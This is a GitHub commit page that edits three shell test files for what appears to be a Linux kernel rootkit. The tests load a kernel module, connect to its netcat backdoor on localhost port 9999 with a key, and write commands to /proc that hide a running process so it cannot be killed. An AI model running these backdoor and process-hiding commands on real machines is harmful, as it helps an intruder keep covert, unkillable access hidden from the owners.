Skip to content

Commit

Permalink
test: Fix native/nc-backdoor-plus-pid.test
Browse files Browse the repository at this point in the history
  • Loading branch information
djolertrk committed Nov 29, 2024
1 parent 768fbe4 commit e39dca7
Show file tree
Hide file tree
Showing 3 changed files with 3 additions and 3 deletions.
2 changes: 1 addition & 1 deletion test/native/nc-backdoor-echo-s.test
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
sudo dmesg -c
sleep 10
sudo insmod ../../../build/kovid.ko
sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999
sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 0x7d3b1cb572f16425
echo -s > /proc/myprocname
sudo rmmod kovid
sudo dmesg
Expand Down
3 changes: 1 addition & 2 deletions test/native/nc-backdoor-plus-pid.test
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
# REQUIRES: 0
# REQUIRES: DEBUG_ONLY
# REQUIRES: NATIVE_TESTS

Expand All @@ -24,7 +23,7 @@ AOUT_PID=$!
sleep 1

# Hide the process using the backdoor functionality
echo -bd $AOUT_PID > /proc/myprocname
echo hide-task-backdoor=$AOUT_PID > /proc/myprocname

# Attempt to kill the hidden process and verify that it fails
kill -9 "$AOUT_PID" || echo "sh: can't kill pid $AOUT_PID: No such process"
Expand Down
1 change: 1 addition & 0 deletions test/native/nc-backdoor.test
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
# REQUIRES: 0
# REQUIRES: DEBUG_ONLY
# REQUIRES: NATIVE_TESTS

Expand Down

0 comments on commit e39dca7

Please sign in to comment.